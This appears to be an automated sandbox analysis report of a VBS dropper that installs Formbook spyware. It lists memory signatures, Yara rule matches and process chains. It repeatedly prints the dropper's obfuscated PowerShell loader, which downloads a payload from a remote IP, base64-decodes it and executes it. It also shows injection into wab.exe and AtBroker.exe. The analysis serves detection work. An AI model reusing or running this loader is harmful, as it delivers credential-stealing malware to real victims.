Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_22AA132D 9_2_22AA132D
Source: C:\Windows\SysWOW64\AtBroker.exe Code function: 11_2_045E2446 11_2_045E2446
Source: C:\Windows\SysWOW64\AtBroker.exe Code function: 11_2_045DE4F6 11_2_045DE4F6
Source: C:\Windows\SysWOW64\AtBroker.exe Code function: 11_2_04530535 11_2_04530535
Source: C:\Windows\SysWOW64\AtBroker.exe Code function: 11_2_045F0591 11_2_045F0591
Source: C:\Windows\SysWOW64\AtBroker.exe Code function: 11_2_0454C6E0 11_2_0454C6E0
Source: C:\Windows\SysWOW64\AtBroker.exe Code function: 11_2_04554750 11_2_04554750
Source: C:\Windows\SysWOW64\AtBroker.exe Code function: 11_2_04530770 11_2_04530770
Source: C:\Windows\SysWOW64\AtBroker.exe Code function: 11_2_0452C7C0 11_2_0452C7C0
Source: C:\Windows\SysWOW64\AtBroker.exe Code function: 11_2_045C2000 11_2_045C2000
Source: C:\Windows\SysWOW64\AtBroker.exe Code function: 11_2_045B8158 11_2_045B8158
Source: C:\Windows\SysWOW64\AtBroker.exe Code function: 11_2_045CA118 11_2_045CA118
Source: C:\Windows\SysWOW64\AtBroker.exe Code function: 11_2_04520100 11_2_04520100
Source: C:\Windows\SysWOW64\AtBroker.exe Code function: 11_2_045E81CC 11_2_045E81CC
Source: C:\Windows\SysWOW64\AtBroker.exe Code function: 11_2_045F01AA 11_2_045F01AA
Source: C:\Windows\SysWOW64\AtBroker.exe Code function: 11_2_045D0274 11_2_045D0274
Source: C:\Windows\SysWOW64\AtBroker.exe Code function: 11_2_045B02C0 11_2_045B02C0
Source: C:\Windows\SysWOW64\AtBroker.exe Code function: 11_2_045EA352 11_2_045EA352
Source: C:\Windows\SysWOW64\AtBroker.exe Code function: 11_2_0453E3F0 11_2_0453E3F0
Source: C:\Windows\SysWOW64\AtBroker.exe Code function: 11_2_045F03E6 11_2_045F03E6
Source: C:\Windows\SysWOW64\AtBroker.exe Code function: 11_2_04530C00 11_2_04530C00
Source: C:\Windows\SysWOW64\AtBroker.exe Code function: 11_2_04520CF2 11_2_04520CF2
Source: C:\Windows\SysWOW64\AtBroker.exe Code function: 11_2_045D0CB5 11_2_045D0CB5
Source: C:\Windows\SysWOW64\AtBroker.exe Code function: 11_2_0453AD00 11_2_0453AD00
Source: C:\Windows\SysWOW64\AtBroker.exe Code function: 11_2_0452ADE0 11_2_0452ADE0
Source: C:\Windows\SysWOW64\AtBroker.exe Code function: 11_2_04548DBF 11_2_04548DBF
Source: C:\Windows\SysWOW64\AtBroker.exe Code function: 11_2_04530E59 11_2_04530E59
Source: C:\Windows\SysWOW64\AtBroker.exe Code function: 11_2_045EEE26 11_2_045EEE26
Source: C:\Windows\SysWOW64\AtBroker.exe Code function: 11_2_045EEEDB 11_2_045EEEDB
Source: C:\Windows\SysWOW64\AtBroker.exe Code function: 11_2_04542E90 11_2_04542E90
Source: C:\Windows\SysWOW64\AtBroker.exe Code function: 11_2_045ECE93 11_2_045ECE93
Source: C:\Windows\SysWOW64\AtBroker.exe Code function: 11_2_045A4F40 11_2_045A4F40
Source: C:\Windows\SysWOW64\AtBroker.exe Code function: 11_2_04550F30 11_2_04550F30
Source: C:\Windows\SysWOW64\AtBroker.exe Code function: 11_2_04572F28 11_2_04572F28
Source: C:\Windows\SysWOW64\AtBroker.exe Code function: 11_2_04522FC8 11_2_04522FC8
Source: C:\Windows\SysWOW64\AtBroker.exe Code function: 11_2_045AEFA0 11_2_045AEFA0
Source: C:\Windows\SysWOW64\AtBroker.exe Code function: 11_2_0453A840 11_2_0453A840
Source: C:\Windows\SysWOW64\AtBroker.exe Code function: 11_2_04532840 11_2_04532840
Source: C:\Windows\SysWOW64\AtBroker.exe Code function: 11_2_0455E8F0 11_2_0455E8F0
Source: C:\Windows\SysWOW64\AtBroker.exe Code function: 11_2_045168B8 11_2_045168B8
Source: C:\Windows\SysWOW64\AtBroker.exe Code function: 11_2_04546962 11_2_04546962
Source: C:\Windows\SysWOW64\AtBroker.exe Code function: 11_2_045329A0 11_2_045329A0
Source: C:\Windows\SysWOW64\AtBroker.exe Code function: 11_2_045FA9A6 11_2_045FA9A6
Source: C:\Windows\SysWOW64\AtBroker.exe Code function: 11_2_0452EA80 11_2_0452EA80
Source: C:\Windows\SysWOW64\AtBroker.exe Code function: 11_2_045EAB40 11_2_045EAB40
Source: C:\Windows\SysWOW64\AtBroker.exe Code function: 11_2_045E6BD7 11_2_045E6BD7
Source: C:\Windows\SysWOW64\AtBroker.exe Code function: 11_2_04521460 11_2_04521460
Source: C:\Windows\SysWOW64\AtBroker.exe Code function: 11_2_045EF43F 11_2_045EF43F
Source: C:\Windows\SysWOW64\AtBroker.exe Code function: 11_2_045E7571 11_2_045E7571
Source: C:\Windows\SysWOW64\AtBroker.exe Code function: 11_2_045CD5B0 11_2_045CD5B0
Source: C:\Windows\SysWOW64\AtBroker.exe Code function: 11_2_045E16CC 11_2_045E16CC
Source: C:\Windows\SysWOW64\AtBroker.exe Code function: 11_2_045EF7B0 11_2_045EF7B0
Source: C:\Windows\SysWOW64\AtBroker.exe Code function: 11_2_045DF0CC 11_2_045DF0CC
Source: C:\Windows\SysWOW64\AtBroker.exe Code function: 11_2_045370C0 11_2_045370C0
Source: C:\Windows\SysWOW64\AtBroker.exe Code function: 11_2_045E70E9 11_2_045E70E9
Source: C:\Windows\SysWOW64\AtBroker.exe Code function: 11_2_045EF0E0 11_2_045EF0E0
Source: C:\Windows\SysWOW64\AtBroker.exe Code function: 11_2_0451F172 11_2_0451F172
Source: C:\Windows\SysWOW64\AtBroker.exe Code function: 11_2_045FB16B 11_2_045FB16B
Source: C:\Windows\SysWOW64\AtBroker.exe Code function: 11_2_0456516C 11_2_0456516C
Source: C:\Windows\SysWOW64\AtBroker.exe Code function: 11_2_0453B1B0 11_2_0453B1B0
Source: C:\Windows\SysWOW64\AtBroker.exe Code function: 11_2_0454B2C0 11_2_0454B2C0
Source: C:\Windows\SysWOW64\AtBroker.exe Code function: 11_2_0454D2F0 11_2_0454D2F0
Source: C:\Windows\SysWOW64\AtBroker.exe Code function: 11_2_045D12ED 11_2_045D12ED
Source: C:\Windows\SysWOW64\AtBroker.exe Code function: 11_2_045352A0 11_2_045352A0
Source: C:\Windows\SysWOW64\AtBroker.exe Code function: 11_2_0451D34C 11_2_0451D34C
Source: C:\Windows\SysWOW64\AtBroker.exe Code function: 11_2_045E132D 11_2_045E132D
Source: C:\Windows\SysWOW64\AtBroker.exe Code function: 11_2_0457739A 11_2_0457739A
Source: C:\Windows\SysWOW64\AtBroker.exe Code function: 11_2_045A9C32 11_2_045A9C32
Source: C:\Windows\SysWOW64\AtBroker.exe Code function: 11_2_045EFCF2 11_2_045EFCF2
Source: C:\Windows\SysWOW64\AtBroker.exe Code function: 11_2_045E1D5A 11_2_045E1D5A
Source: C:\Windows\SysWOW64\AtBroker.exe Code function: 11_2_04533D40 11_2_04533D40
Source: C:\Windows\SysWOW64\AtBroker.exe Code function: 11_2_045E7D73 11_2_045E7D73
Source: C:\Windows\SysWOW64\AtBroker.exe Code function: 11_2_0454FDC0 11_2_0454FDC0
Source: C:\Windows\SysWOW64\AtBroker.exe Code function: 11_2_04539EB0 11_2_04539EB0
Source: C:\Windows\SysWOW64\AtBroker.exe Code function: 11_2_045EFF09 11_2_045EFF09
Source: C:\Windows\SysWOW64\AtBroker.exe Code function: 11_2_04531F92 11_2_04531F92
Source: C:\Windows\SysWOW64\AtBroker.exe Code function: 11_2_045EFFB1 11_2_045EFFB1
Source: C:\Windows\SysWOW64\AtBroker.exe Code function: 11_2_0459D800 11_2_0459D800
Source: C:\Windows\SysWOW64\AtBroker.exe Code function: 11_2_045338E0 11_2_045338E0
Source: C:\Windows\SysWOW64\AtBroker.exe Code function: 11_2_04539950 11_2_04539950
Source: C:\Windows\SysWOW64\AtBroker.exe Code function: 11_2_0454B950 11_2_0454B950
Source: C:\Windows\SysWOW64\AtBroker.exe Code function: 11_2_045C5910 11_2_045C5910
Source: C:\Windows\SysWOW64\AtBroker.exe Code function: 11_2_045EFA49 11_2_045EFA49
Source: C:\Windows\SysWOW64\AtBroker.exe Code function: 11_2_045E7A46 11_2_045E7A46
Source: C:\Windows\SysWOW64\AtBroker.exe Code function: 11_2_045A3A6C 11_2_045A3A6C
Source: C:\Windows\SysWOW64\AtBroker.exe Code function: 11_2_045DDAC6 11_2_045DDAC6
Source: C:\Windows\SysWOW64\AtBroker.exe Code function: 11_2_045CDAAC 11_2_045CDAAC
Source: C:\Windows\SysWOW64\AtBroker.exe Code function: 11_2_04575AA0 11_2_04575AA0
Source: C:\Windows\SysWOW64\AtBroker.exe Code function: 11_2_045EFB76 11_2_045EFB76
Source: C:\Windows\SysWOW64\AtBroker.exe Code function: 11_2_045A5BF0 11_2_045A5BF0
Source: C:\Windows\SysWOW64\AtBroker.exe Code function: 11_2_0456DBF9 11_2_0456DBF9
Source: C:\Windows\SysWOW64\AtBroker.exe Code function: 11_2_0454FB80 11_2_0454FB80
Source: C:\Windows\SysWOW64\AtBroker.exe Code function: 11_2_004D3070 11_2_004D3070
Source: C:\Windows\SysWOW64\AtBroker.exe Code function: 11_2_004CE040 11_2_004CE040
Source: C:\Windows\SysWOW64\AtBroker.exe Code function: 11_2_004EB010 11_2_004EB010
Source: C:\Windows\SysWOW64\AtBroker.exe Code function: 11_2_004CE260 11_2_004CE260
Source: C:\Windows\SysWOW64\AtBroker.exe Code function: 11_2_004CC2D6 11_2_004CC2D6
Source: C:\Windows\SysWOW64\AtBroker.exe Code function: 11_2_004CC2E0 11_2_004CC2E0
Source: C:\Windows\SysWOW64\AtBroker.exe Code function: 11_2_004CC429 11_2_004CC429
Source: C:\Windows\SysWOW64\AtBroker.exe Code function: 11_2_004D47EC 11_2_004D47EC
Source: C:\Windows\SysWOW64\AtBroker.exe Code function: 11_2_004D47F0 11_2_004D47F0
Found potential string decryption / allocating functions
Source: C:\Windows\SysWOW64\AtBroker.exe Code function: String function: 04577E54 appears 97 times
Source: C:\Windows\SysWOW64\AtBroker.exe Code function: String function: 045AF290 appears 103 times
Source: C:\Windows\SysWOW64\AtBroker.exe Code function: String function: 04565130 appears 56 times
Source: C:\Windows\SysWOW64\AtBroker.exe Code function: String function: 0451B970 appears 257 times
Source: C:\Windows\SysWOW64\AtBroker.exe Code function: String function: 0459EA12 appears 86 times
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: String function: 229DB970 appears 39 times
Java / VBScript file with very long strings (likely obfuscated code)
Source: Pedido02304024.vbs Initial sample: Strings found which are bigger than 50
Yara signature match
Source: amsi64_7556.amsi.csv, type: OTHER Matched rule: INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC author = ditekSHen, description = Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution
Source: amsi32_7748.amsi.csv, type: OTHER Matched rule: INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC author = ditekSHen, description = Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution
Source: 00000009.00000002.2260878496.0000000002ED0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 0000000B.00000002.2945407561.0000000000860000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 00000009.00000002.2286239677.0000000023700000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 0000000B.00000002.2945907117.0000000000DA0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 0000000C.00000002.2945047764.0000000000600000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 0000000B.00000002.2944308343.00000000004C0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 0000000A.00000002.2945916928.0000000002C00000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: Process Memory Space: powershell.exe PID: 7556, type: MEMORYSTR Matched rule: INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC author = ditekSHen, description = Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution
Source: Process Memory Space: powershell.exe PID: 7748, type: MEMORYSTR Matched rule: INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC author = ditekSHen, description = Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution
Source: classification engine Classification label: mal100.troj.spyw.expl.evad.winVBS@19/10@5/4
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe File created: C:\Users\user\AppData\Roaming\ceilometers.Pri Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Mutant created: NULL
Source: C:\Windows\System32\conhost.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7564:120:WilError_03
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_5irav4cj.1zm.ps1 Jump to behavior
Source: unknown Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\Pedido02304024.vbs"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : select * from win32_process where ProcessId=7556
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : select * from win32_process where ProcessId=7748
Source: C:\Windows\System32\wscript.exe File read: C:\Users\user\Desktop\desktop.ini Jump to behavior
Source: C:\Windows\System32\wscript.exe Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers Jump to behavior
Source: unknown Process created: C:\Windows\System32\rundll32.exe C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding
Source: unknown Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\Pedido02304024.vbs"
Source: C:\Windows\System32\wscript.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "$Kildematerialet107 = 1;$Kernevaabnet='Substrin';$Kernevaabnet+='g';Function ciceroner($Bldgringer){$Cholecystogram=$Bldgringer.Length-$Kildematerialet107;For($Brandsituationerne=1; $Brandsituationerne -lt $Cholecystogram; $Brandsituationerne+=(2)){$Categoricalness+=$Bldgringer.$Kernevaabnet.Invoke($Brandsituationerne, $Kildematerialet107);}$Categoricalness;}function Nonsensitizeds($whap){& ($Skimpiness) ($whap);}$Autoindtrks=ciceroner 'PM,o z i l lOaK/,5K. 0 ( W.iAnRd oUw sC NETC ,1S0.. 0M;I W i nu6 4.;W PxS6R4 ;, rRvK: 1 2B1A. 0 )S cG.egcKk oA/ 2E0R1S0 0l1 0Y1T .FTiOr,e,f o.xP/n1s2U1G.,0B ';$Hypsilophodontoid21=ciceroner 'KU.s ePr - A g e,nPt ';$Lydsidernes=ciceroner 'Uh tOtMp,:./ /L8B7 . 1 2 1w..1 0.5R.g1 6U3 /.BFo,lPd,kClUuSbHbSeCn s,. p cKzN ';$jvnhjde=ciceroner ',>, ';$Skimpiness=ciceroner 'AiJeUx, ';$equichangeable='Jynginae';Nonsensitizeds (ciceroner '.S,eRt -BC oMn,tPe nPtM -ZPSa tNh WT :E\SFTeGi ..t xCtU G-,V all,u,eR $AeSq uIipc,hFa nPg eBa b l.e ;M ');Nonsensitizeds (ciceroner ',i.f. E(BtKeKs tE- p a t h TB: \AFAe i..stGxTt ),{ eUxIiMt }W; ');$Nutmegged = ciceroner 'QeBc.hSoU %taOp p dSast aT%,\AcbeJi,l.oamEe.t eIr s,.BPBrAiU H&,&. eDc,hDoB $. ';Nonsensitizeds (ciceroner ' $ gSlRo bTa l.:,C oTnNv eSt h.=K(.c mDdT a/ac $RN uFt.mMe g,gPeFdL)P ');Nonsensitizeds (ciceroner 'F$OgKl o b aAlS:TL itn i e sFk r.i vUeVrAsr=F$NLByDdSs i d,eTrInReSs,.Ns.p lLi t ( $Hj.v n hFjLd,e,). ');$Lydsidernes=$Linieskrivers[0];Nonsensitizeds (ciceroner 'T$Og lEo b aUlr: RAe fSe.r eLn c e.v rTkDe rw=PNCe w - O b j.ePcStU .ShyPsPt eNmD. N e.tG.JWEe bFC.lTi e,n t. ');Nonsensitizeds (ciceroner 'U$UR.eKfAe rDe,nsc e,v r.kIe rG.VH e aPd eDr,sO[R$MHRyVpFs iLlAo.pFhIo dGo,n tDo.iIdu2,1O].=.$UA uFt oUi n,d t r.k sL ');$Superrheumatized=ciceroner 'LR.eHfSeFr e,n cte.vBrVkOeVr .IDKo w nPl oNa d F i l.ec( $.LIy,d.sBiIdBeSrSn.e.sD, $.BAe,tTa g.eBtSh,e.dIsG), ';$Superrheumatized=$Conveth[1]+$Superrheumatized;$Betagetheds=$Conveth[0];Nonsensitizeds (ciceroner ' $AgFl o,bBa.l.:MDTvHnKl d.eEnC=I(UTFe s,tR- PMa.t.h $TBPe tSaMgMe tNhKe d s ) ');while (!$Dvnlden) {Nonsensitizeds (ciceroner '.$PgFlToSb aPlS: OSdTiKnSi aNn = $.t r u.eO ') ;Nonsensitizeds $Superrheumatized;Nonsensitizeds (ciceroner ' SWtBa.r.t -TS l.e e pS E4. ');Nonsensitizeds (ciceroner 'B$ g lEo.bCaWl,:,D vBnBlPdBeIn = (RTUe,s,tR- P.aSt ha B$,Bse t aAg e,tDh e.dDsP) ') ;Nonsensitizeds (ciceroner 'D$ gMlQo b,aCln: B.uVs t iDa n =F$RgSl.o bSaDlB:OO uOtSs m o k.e s +A+ % $,L iEn,iae sHkSriiBv eSrMsE.Kc.obuRn t ') ;$Lydsidernes=$Linieskrivers[$Bustian];}Nonsensitizeds (ciceroner 'G$ g l o bua l,: A mFpPhSo.lOyPt e,2,0m4 D=, SG e,t -,C o.n t eSn tS $ BBe.tdaEgEe t h eMd,s. ');Nonsensitizeds (ciceroner 'E$Fg lCoAbUa,lC:HSGtDa mSmAe,r,i nEgFlSyD F=. W[LS y,sWtKeBmT.TCCosn vSeSrAt.]R:G:CFqr oTm,BKa s eS6K4 SRt,r iVnUgS(,$ A,mBpPhJoAl.yItTe 2 0,4 )H ');Nonsensitizeds (c
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Windows\System32\cmd.exe "C:\Windows\system32\cmd.exe" /c "echo %appdata%\ceilometers.Pri && echo $"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe" "$Kildematerialet107 = 1;$Kernevaabnet='Substrin';$Kernevaabnet+='g';Function ciceroner($Bldgringer){$Cholecystogram=$Bldgringer.Length-$Kildematerialet107;For($Brandsituationerne=1; $Brandsituationerne -lt $Cholecystogram; $Brandsituationerne+=(2)){$Categoricalness+=$Bldgringer.$Kernevaabnet.Invoke($Brandsituationerne, $Kildematerialet107);}$Categoricalness;}function Nonsensitizeds($whap){& ($Skimpiness) ($whap);}$Autoindtrks=ciceroner 'PM,o z i l lOaK/,5K. 0 ( W.iAnRd oUw sC NETC ,1S0.. 0M;I W i nu6 4.;W PxS6R4 ;, rRvK: 1 2B1A. 0 )S cG.egcKk oA/ 2E0R1S0 0l1 0Y1T .FTiOr,e,f o.xP/n1s2U1G.,0B ';$Hypsilophodontoid21=ciceroner 'KU.s ePr - A g e,nPt ';$Lydsidernes=ciceroner 'Uh tOtMp,:./ /L8B7 . 1 2 1w..1 0.5R.g1 6U3 /.BFo,lPd,kClUuSbHbSeCn s,. p cKzN ';$jvnhjde=ciceroner ',>, ';$Skimpiness=ciceroner 'AiJeUx, ';$equichangeable='Jynginae';Nonsensitizeds (ciceroner '.S,eRt -BC oMn,tPe nPtM -ZPSa tNh WT :E\SFTeGi ..t xCtU G-,V all,u,eR $AeSq uIipc,hFa nPg eBa b l.e ;M ');Nonsensitizeds (ciceroner ',i.f. E(BtKeKs tE- p a t h TB: \AFAe i..stGxTt ),{ eUxIiMt }W; ');$Nutmegged = ciceroner 'QeBc.hSoU %taOp p dSast aT%,\AcbeJi,l.oamEe.t eIr s,.BPBrAiU H&,&. eDc,hDoB $. ';Nonsensitizeds (ciceroner ' $ gSlRo bTa l.:,C oTnNv eSt h.=K(.c mDdT a/ac $RN uFt.mMe g,gPeFdL)P ');Nonsensitizeds (ciceroner 'F$OgKl o b aAlS:TL itn i e sFk r.i vUeVrAsr=F$NLByDdSs i d,eTrInReSs,.Ns.p lLi t ( $Hj.v n hFjLd,e,). ');$Lydsidernes=$Linieskrivers[0];Nonsensitizeds (ciceroner 'T$Og lEo b aUlr: RAe fSe.r eLn c e.v rTkDe rw=PNCe w - O b j.ePcStU .ShyPsPt eNmD. N e.tG.JWEe bFC.lTi e,n t. ');Nonsensitizeds (ciceroner 'U$UR.eKfAe rDe,nsc e,v r.kIe rG.VH e aPd eDr,sO[R$MHRyVpFs iLlAo.pFhIo dGo,n tDo.iIdu2,1O].=.$UA uFt oUi n,d t r.k sL ');$Superrheumatized=ciceroner 'LR.eHfSeFr e,n cte.vBrVkOeVr .IDKo w nPl oNa d F i l.ec( $.LIy,d.sBiIdBeSrSn.e.sD, $.BAe,tTa g.eBtSh,e.dIsG), ';$Superrheumatized=$Conveth[1]+$Superrheumatized;$Betagetheds=$Conveth[0];Nonsensitizeds (ciceroner ' $AgFl o,bBa.l.:MDTvHnKl d.eEnC=I(UTFe s,tR- PMa.t.h $TBPe tSaMgMe tNhKe d s ) ');while (!$Dvnlden) {Nonsensitizeds (ciceroner '.$PgFlToSb aPlS: OSdTiKnSi aNn = $.t r u.eO ') ;Nonsensitizeds $Superrheumatized;Nonsensitizeds (ciceroner ' SWtBa.r.t -TS l.e e pS E4. ');Nonsensitizeds (ciceroner 'B$ g lEo.bCaWl,:,D vBnBlPdBeIn = (RTUe,s,tR- P.aSt ha B$,Bse t aAg e,tDh e.dDsP) ') ;Nonsensitizeds (ciceroner 'D$ gMlQo b,aCln: B.uVs t iDa n =F$RgSl.o bSaDlB:OO uOtSs m o k.e s +A+ % $,L iEn,iae sHkSriiBv eSrMsE.Kc.obuRn t ') ;$Lydsidernes=$Linieskrivers[$Bustian];}Nonsensitizeds (ciceroner 'G$ g l o bua l,: A mFpPhSo.lOyPt e,2,0m4 D=, SG e,t -,C o.n t eSn tS $ BBe.tdaEgEe t h eMd,s. ');Nonsensitizeds (ciceroner 'E$Fg lCoAbUa,lC:HSGtDa mSmAe,r,i nEgFlSyD F=. W[LS y,sWtKeBmT.TCCosn vSeSrAt.]R:G:CFqr oTm,BKa s eS6K4 SRt,r iVnUgS(,$ A,mBpPhJoAl.yItTe 2 0,4 )H ');Nonsensitizeds (c
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c "echo %appdata%\ceilometers.Pri && echo $"
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Program Files (x86)\Windows Mail\wab.exe "C:\Program Files (x86)\windows mail\wab.exe"
Source: C:\Program Files (x86)\mYXDqyXmxWLxDuVbVtvmThXUcmtSSGYDIkaTJxGswIcwJgbDFXkLoJheiZ\NJtMZOnjgWDVLdkRCPxthGxX.exe Process created: C:\Windows\SysWOW64\AtBroker.exe "C:\Windows\SysWOW64\AtBroker.exe"
Source: unknown Process created: C:\Program Files (x86)\Windows Mail\wab.exe "C:\Program Files (x86)\windows mail\wab.exe"
Source: unknown Process created: C:\Windows\System32\rundll32.exe C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding
Source: unknown Process created: C:\Program Files (x86)\Windows Mail\wab.exe "C:\Program Files (x86)\windows mail\wab.exe"
Source: C:\Windows\SysWOW64\AtBroker.exe Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\Firefox.exe"
Source: C:\Windows\System32\wscript.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "$Kildematerialet107 = 1;$Kernevaabnet='Substrin';$Kernevaabnet+='g';Function ciceroner($Bldgringer){$Cholecystogram=$Bldgringer.Length-$Kildematerialet107;For($Brandsituationerne=1; $Brandsituationerne -lt $Cholecystogram; $Brandsituationerne+=(2)){$Categoricalness+=$Bldgringer.$Kernevaabnet.Invoke($Brandsituationerne, $Kildematerialet107);}$Categoricalness;}function Nonsensitizeds($whap){& ($Skimpiness) ($whap);}$Autoindtrks=ciceroner 'PM,o z i l lOaK/,5K. 0 ( W.iAnRd oUw sC NETC ,1S0.. 0M;I W i nu6 4.;W PxS6R4 ;, rRvK: 1 2B1A. 0 )S cG.egcKk oA/ 2E0R1S0 0l1 0Y1T .FTiOr,e,f o.xP/n1s2U1G.,0B ';$Hypsilophodontoid21=ciceroner 'KU.s ePr - A g e,nPt ';$Lydsidernes=ciceroner 'Uh tOtMp,:./ /L8B7 . 1 2 1w..1 0.5R.g1 6U3 /.BFo,lPd,kClUuSbHbSeCn s,. p cKzN ';$jvnhjde=ciceroner ',>, ';$Skimpiness=ciceroner 'AiJeUx, ';$equichangeable='Jynginae';Nonsensitizeds (ciceroner '.S,eRt -BC oMn,tPe nPtM -ZPSa tNh WT :E\SFTeGi ..t xCtU G-,V all,u,eR $AeSq uIipc,hFa nPg eBa b l.e ;M ');Nonsensitizeds (ciceroner ',i.f. E(BtKeKs tE- p a t h TB: \AFAe i..stGxTt ),{ eUxIiMt }W; ');$Nutmegged = ciceroner 'QeBc.hSoU %taOp p dSast aT%,\AcbeJi,l.oamEe.t eIr s,.BPBrAiU H&,&. eDc,hDoB $. ';Nonsensitizeds (ciceroner ' $ gSlRo bTa l.:,C oTnNv eSt h.=K(.c mDdT a/ac $RN uFt.mMe g,gPeFdL)P ');Nonsensitizeds (ciceroner 'F$OgKl o b aAlS:TL itn i e sFk r.i vUeVrAsr=F$NLByDdSs i d,eTrInReSs,.Ns.p lLi t ( $Hj.v n hFjLd,e,). ');$Lydsidernes=$Linieskrivers[0];Nonsensitizeds (ciceroner 